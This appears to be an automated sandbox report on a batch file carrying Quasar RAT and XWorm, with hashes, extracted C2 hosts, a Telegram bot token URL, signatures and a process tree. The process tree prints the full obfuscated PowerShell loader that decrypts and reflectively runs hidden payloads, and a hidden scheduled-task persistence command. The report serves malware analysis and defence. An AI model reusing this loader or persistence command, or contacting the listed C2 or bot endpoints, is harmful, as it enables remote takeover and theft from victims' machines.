quasar | 950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9

Analysis

max time kernel
58s
max time network
64s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2024, 15:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Client-built.bat
Size 1.6MB
Sample240414-s6sevace71
SHA256 950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
MD5 566c653ae6a704041aef596fce6d6a8c
SHA1 da35608bf372a6113d941817a96bc3a17de9ef69
SHA512 98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
SSDEEP 24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar xworm office04 rat spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

express-divorce.gl.at.ply.gg:22562

Mutex

6735a92b-88d2-4fbe-8e59-605a85072109

Attributes

encryption_key
8681483EF512C654BECF205A0D74FFCA4B129A98
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Trapix Client Startup
subdirectory
SubDir

Extracted

Family

xworm

Version

traffic-collins.gl.at.ply.gg:24820

Mutex

uX6FapIHo24Z2JFZ

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284

aes.plain

Signatures

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral2/memory/1844-15-0x000001C0EC320000-0x000001C0EC45A000-memory.dmp	family_xworm
behavioral2/files/0x00090000000233df-60.dat	family_xworm
behavioral2/memory/3880-69-0x0000000000DD0000-0x0000000000DDE000-memory.dmp	family_xworm

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2224-57-0x00000262515B0000-0x00000262518D4000-memory.dmp	family_quasar

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	2224	powershell.exe
46	2224	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-553605503-2331009851-2137262461-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
3880	XClientNOT.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-553605503-2331009851-2137262461-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1844	powershell.exe
1844	powershell.exe
4536	powershell.exe
4536	powershell.exe
2224	powershell.exe
2224	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1844	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeIncreaseQuotaPrivilege	4536	powershell.exe
Token: SeSecurityPrivilege	4536	powershell.exe
Token: SeTakeOwnershipPrivilege	4536	powershell.exe
Token: SeLoadDriverPrivilege	4536	powershell.exe
Token: SeSystemProfilePrivilege	4536	powershell.exe
Token: SeSystemtimePrivilege	4536	powershell.exe
Token: SeProfSingleProcessPrivilege	4536	powershell.exe
Token: SeIncBasePriorityPrivilege	4536	powershell.exe
Token: SeCreatePagefilePrivilege	4536	powershell.exe
Token: SeBackupPrivilege	4536	powershell.exe
Token: SeRestorePrivilege	4536	powershell.exe
Token: SeShutdownPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeSystemEnvironmentPrivilege	4536	powershell.exe
Token: SeRemoteShutdownPrivilege	4536	powershell.exe
Token: SeUndockPrivilege	4536	powershell.exe
Token: SeManageVolumePrivilege	4536	powershell.exe
Token: 33	4536	powershell.exe
Token: 34	4536	powershell.exe
Token: 35	4536	powershell.exe
Token: 36	4536	powershell.exe
Token: SeIncreaseQuotaPrivilege	4536	powershell.exe
Token: SeSecurityPrivilege	4536	powershell.exe
Token: SeTakeOwnershipPrivilege	4536	powershell.exe
Token: SeLoadDriverPrivilege	4536	powershell.exe
Token: SeSystemProfilePrivilege	4536	powershell.exe
Token: SeSystemtimePrivilege	4536	powershell.exe
Token: SeProfSingleProcessPrivilege	4536	powershell.exe
Token: SeIncBasePriorityPrivilege	4536	powershell.exe
Token: SeCreatePagefilePrivilege	4536	powershell.exe
Token: SeBackupPrivilege	4536	powershell.exe
Token: SeRestorePrivilege	4536	powershell.exe
Token: SeShutdownPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeSystemEnvironmentPrivilege	4536	powershell.exe
Token: SeRemoteShutdownPrivilege	4536	powershell.exe
Token: SeUndockPrivilege	4536	powershell.exe
Token: SeManageVolumePrivilege	4536	powershell.exe
Token: 33	4536	powershell.exe
Token: 34	4536	powershell.exe
Token: 35	4536	powershell.exe
Token: 36	4536	powershell.exe
Token: SeIncreaseQuotaPrivilege	4536	powershell.exe
Token: SeSecurityPrivilege	4536	powershell.exe
Token: SeTakeOwnershipPrivilege	4536	powershell.exe
Token: SeLoadDriverPrivilege	4536	powershell.exe
Token: SeSystemProfilePrivilege	4536	powershell.exe
Token: SeSystemtimePrivilege	4536	powershell.exe
Token: SeProfSingleProcessPrivilege	4536	powershell.exe
Token: SeIncBasePriorityPrivilege	4536	powershell.exe
Token: SeCreatePagefilePrivilege	4536	powershell.exe
Token: SeBackupPrivilege	4536	powershell.exe
Token: SeRestorePrivilege	4536	powershell.exe
Token: SeShutdownPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeSystemEnvironmentPrivilege	4536	powershell.exe
Token: SeRemoteShutdownPrivilege	4536	powershell.exe
Token: SeUndockPrivilege	4536	powershell.exe
Token: SeManageVolumePrivilege	4536	powershell.exe
Token: 33	4536	powershell.exe
Token: 34	4536	powershell.exe
Token: 35	4536	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3720 wrote to memory of 1844	3720	cmd.exe	87
PID 3720 wrote to memory of 1844	3720	cmd.exe	87
PID 1844 wrote to memory of 4536	1844	powershell.exe	89
PID 1844 wrote to memory of 4536	1844	powershell.exe	89
PID 1844 wrote to memory of 3748	1844	powershell.exe	93
PID 1844 wrote to memory of 3748	1844	powershell.exe	93
PID 3748 wrote to memory of 2948	3748	WScript.exe	94
PID 3748 wrote to memory of 2948	3748	WScript.exe	94
PID 2948 wrote to memory of 2224	2948	cmd.exe	96
PID 2948 wrote to memory of 2224	2948	cmd.exe	96
PID 2224 wrote to memory of 3880	2224	powershell.exe	97
PID 2224 wrote to memory of 3880	2224	powershell.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_334_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_334.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4536
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_334.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_334.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_334.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_334.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2224
      - C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"
        6⤵
        Executes dropped EXE
        
        PID:3880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 944abd73b0e4b30b22863d73594cac5fbcf4de64469d13dd1e3a3ca8cf85440e
MD5 68dc886431c7bc43c168ee2f2349dfa9
SHA1 2fd61cfdeaf52ee2ccd902ff1cc3e5c08f426ccc
SHA512 97c55d61e2df6d2f7a858347ad6e1cecbfc26c3b5863850092b9625e549408c053f0787ae267bfdc403907081a1458e6d39acc897c869c3460bd003a865185a6
MD5 SHA1 SHA512

Submit Download

XClientNOT.exe

Path C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe
Size 31KB
SHA256 1a87f2fed2a9263e703c44d25da8242016a640db930678a0f497879267c133c8
MD5 dd466e4e324143a67a406797c23ee2bc
SHA1 cc369b99c18c9322734b14908e7b21f2bec48118
SHA512 603c082427129deac3bce210d87e3f4125dd429ad7fe13422b7a3d80f8e282ae8ad887a20e47de12a3f90c24ab4a143dc3b069fd8da122f4f96b70f94bd7f438
SSDEEP 768:dQIv8es5P4hkdkfMSGYF29RQOqhWbACb:5v8es5PykdkfTF29RQOqw7b
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_yyhp30qw.aod.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yyhp30qw.aod.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

startup_str_334.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_334.bat
Size 1.6MB
SHA256 950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
MD5 566c653ae6a704041aef596fce6d6a8c
SHA1 da35608bf372a6113d941817a96bc3a17de9ef69
SHA512 98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
SSDEEP 24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f
MD5 SHA1 SHA512 SSDEEP

Submit Download

startup_str_334.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_334.vbs
Size 115B
SHA256 badbe5b3ed31eb7b68cdcf1d45a0750726410b72dddd696a9b87be41cf36a23f
MD5 24c7af433b8a5127b679964343181505
SHA1 57bedc4d405eed838f67a880fb22e9e921979589
SHA512 ae45c43d23d87b71bba02b28bab466cd91e767335f21e4d49b21a9705b26f9bc5b5288dbb9bc1d4a6081cbbc346bd170ab5a85613a2907dce6d816978f15f0ed
MD5 SHA1 SHA512

Submit Download

memory/1844-5-0x000001C0EBFC0000-0x000001C0EBFE2000-memory.dmp

Download

memory/1844-15-0x000001C0EC320000-0x000001C0EC45A000-memory.dmp

Download

memory/1844-14-0x000001C0EBF90000-0x000001C0EBF98000-memory.dmp

Download

memory/1844-13-0x000001C0E9EA0000-0x000001C0E9EB0000-memory.dmp

Download

memory/1844-41-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

Download

memory/1844-12-0x000001C0E9EA0000-0x000001C0E9EB0000-memory.dmp

Download

memory/1844-11-0x000001C0E9EA0000-0x000001C0E9EB0000-memory.dmp

Download

memory/1844-10-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

Download

memory/2224-72-0x00000262525A0000-0x0000026252762000-memory.dmp

Download

memory/2224-70-0x0000026251F00000-0x0000026251F50000-memory.dmp

Download

memory/2224-74-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

Download

memory/2224-75-0x000002624EF90000-0x000002624EFA0000-memory.dmp

Download

memory/2224-42-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

Download

memory/2224-43-0x000002624EF90000-0x000002624EFA0000-memory.dmp

Download

memory/2224-44-0x000002624EF90000-0x000002624EFA0000-memory.dmp

Download

memory/2224-57-0x00000262515B0000-0x00000262518D4000-memory.dmp

Download

memory/2224-76-0x000002624EF90000-0x000002624EFA0000-memory.dmp

Download

memory/2224-71-0x0000026252310000-0x00000262523C2000-memory.dmp

Download

memory/2224-77-0x000002624EF90000-0x000002624EFA0000-memory.dmp

Download

memory/3880-69-0x0000000000DD0000-0x0000000000DDE000-memory.dmp

Download

memory/3880-68-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

Download

memory/3880-73-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

Download

memory/3880-78-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

Download

memory/3880-79-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

Download

memory/4536-32-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

Download

memory/4536-29-0x0000025D3FC10000-0x0000025D3FC20000-memory.dmp

Download

memory/4536-28-0x0000025D3FC10000-0x0000025D3FC20000-memory.dmp

Download

memory/4536-27-0x0000025D3FC10000-0x0000025D3FC20000-memory.dmp

Download

memory/4536-22-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

Download